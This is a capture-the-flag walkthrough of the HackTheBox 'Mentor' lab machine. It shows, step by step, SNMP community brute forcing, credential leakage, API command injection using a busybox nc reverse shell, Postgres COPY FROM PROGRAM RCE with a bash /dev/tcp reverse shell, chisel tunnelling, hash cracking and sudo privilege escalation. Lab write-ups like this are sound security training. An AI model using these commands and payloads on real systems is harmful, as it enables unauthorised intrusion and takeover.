← hackthebox
HTB medium · linux / api

Mentor

platformHackTheBox
machineMentor
categoryAPI
osLinux
snmp community brute leaked snmp credential api command injection postgres copy from program rce snmpd.conf sudo privesc
Mentor Machine

Recon

Starting with nmap. Only 22 and 80 are open. Port 80 is not a plain Apache page, the server header leaks a Werkzeug/Python backend, so there is a Flask app behind it.

[Mentor] nmap -Pn -sSVC -p- -T5 --min-rate 2000 -v -oN nmap_tcp mentorquotes.htb
Nmap scan report for mentorquotes.htb (10.129.228.102)
Host is up (0.22s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: MentorQuotes
| http-server-header:
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.0.3 Python/3.6.9
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The site is titled MentorQuotes and points at mentorquotes.htb, which I added to /etc/hosts. The front page references an API host, so I added api.mentorquotes.htb as well. The API is a FastAPI app with Swagger docs at http://api.mentorquotes.htb/docs, and among the routes are a few admin ones:

http://api.mentorquotes.htb/admin/
http://api.mentorquotes.htb/admin/backup
http://api.mentorquotes.htb/admin/check

You can self register an account, but the token it hands back is not privileged enough to reach any of the admin endpoints, so the HTTP surface stalls here. Falling back to a UDP scan turns up 161/udp (SNMP) open, which is the way in.

SNMP with an unknown community string is a brute force problem. I used SECFORCE's SNMP-Brute to recover the valid communities:

[Mentor] python snmpbrute.py -t mentorquotes.htb

Identified Community strings
    0) 10.129.228.102  public (v1)(RO)
    1) 10.129.228.102  public (v2c)(RO)
    2) 10.129.228.102  internal (v2c)(RO)

The public community only leaks the admin contact email. The internal community is the interesting one. Walking the running process table exposes the argument a login script was started with:

[Mentor] snmpwalk -v2c -c internal mentorquotes.htb
...
iso.3.6.1.2.1.25.4.2.1.5.2114 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"

Exploitation

That trailing token, kj23sadkj123as0-d213, is a password passed to a login script on the command line. The API exposes the account list, which includes admin@mentorquotes.htb and james@mentorquotes.htb. The string does not authenticate admin, but it works for james, and the API returns a signed JWT for him.

The JWT payload decodes to james' identity:

{"username":"james","email":"james@mentorquotes.htb"}

With james' token the admin routes open up. The /admin/backup endpoint takes a JSON path parameter and drops it straight into a shell command, so it is a trivial command injection. I fed it a busybox nc reverse shell:

[Mentor] curl http://api.mentorquotes.htb/admin/backup \
  -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' \
  -H 'Content-Type: application/json' \
  -X POST -d '{"path":"$(busybox nc 10.10.15.108 4444 -e sh)"}'

The listener catches a shell, but it lands inside a Docker container, not the host.

Post Exploitation

Inside the API container, the database configuration hands over Postgres credentials and points at a gateway address on the Docker network:

/ # cat /app/app/db.py
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")

Scanning the internal Docker subnet with cdk shows several hosts, including a Postgres on the gateway itself:

/ # ./cdk_linux_amd64 probe 172.22.0.1-254 1-10000 50 1000
open : 172.22.0.1:81
open : 172.22.0.1:80
open : 172.22.0.1:22
open : 172.22.0.1:5432
open : 172.22.0.1:8000
open : 172.22.0.2:80
open : 172.22.0.3:8000
open : 172.22.0.4:5432

Postgres is not reachable from my machine, so I tunnelled it back over chisel. The server runs on my box in reverse mode, the client runs inside the container and forwards the gateway's 5432 to me:

[Mentor] ./chisel server -p 12312 --reverse
/ # ./chisel client 10.10.15.108:12312 R:5432:172.22.0.1:5432

The leaked postgres:postgres credentials log straight into the tunnelled instance. A superuser Postgres session gives command execution through COPY ... FROM PROGRAM, so I wrote a reverse shell out, made it executable, and ran it:

[Mentor] psql -U postgres -d postgres -h localhost -p 5432

postgres=# COPY cmd_exec FROM PROGRAM 'echo "bash -i >& /dev/tcp/10.10.15.108/9999 0>&1" > /tmp/shell.sh';
postgres=# COPY cmd_exec FROM PROGRAM 'chmod +x /tmp/shell.sh';
postgres=# COPY cmd_exec FROM PROGRAM 'bash /tmp/shell.sh';

This lands in the Postgres container. The postgres user's .bash_history mentions a pg_backup directory, which turns out to hold a database dump owned by root:

postgres@96e44c569292:~$ find / -name 'pg_backup' 2>/dev/null
/var/lib/postgresql/data/pg_backup
postgres@96e44c569292:~$ ls -la /var/lib/postgresql/data/pg_backup
-rw-r--r-- 1 root root 5543 Nov 11  2022 db_export.sql

The dump contains the users table with two MD5 password hashes:

COPY public.users (id, email, username, password) FROM stdin;
1	james@mentorquotes.htb	james	7ccdcd8c05b59add9c198d492b36a503
35	svc@mentorquotes.htb	service_acc	53f22d0dfa10dce7e29cd31f4f953fd8
\.

James' hash resists rockyou, but the service account's cracks instantly:

[Mentor] hashcat -m 0 hash /usr/share/wordlists/rockyou.txt
53f22d0dfa10dce7e29cd31f4f953fd8:123meunomeeivani

There is an svc account on the actual host, and the recovered password gets me an SSH session as that user, which is the first real foothold on the box and the user flag.

[Mentor] ssh svc@mentorquotes.htb
svc@mentor:~$ cat ~/user.txt

Privilege Escalation

Running an enumeration pass as svc, the SNMP daemon config on the host is world readable and stores a credential for the SNMPv3 bootstrap user:

svc@mentor:~$ cat /etc/snmp/snmpd.conf
rocommunity  public default -V systemonly
rocommunity6 public default -V systemonly
createUser bootstrap MD5 SuperSecurePassword123__ DES

That password, SuperSecurePassword123__, does not work for root, but it does for james. And james has a very generous sudo rule:

svc@mentor:~$ su james
Password: SuperSecurePassword123__
james@mentor:~$ sudo -l
User james may run the following commands on mentor:
    (ALL) /bin/sh

James can run /bin/sh as anyone, so a single sudo drops a root shell, and root.txt is one cat away.

james@mentor:~$ sudo /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
─────────────────────────────────────
HackTheBox // Mentor
ribeir.in
─────────────────────────────────────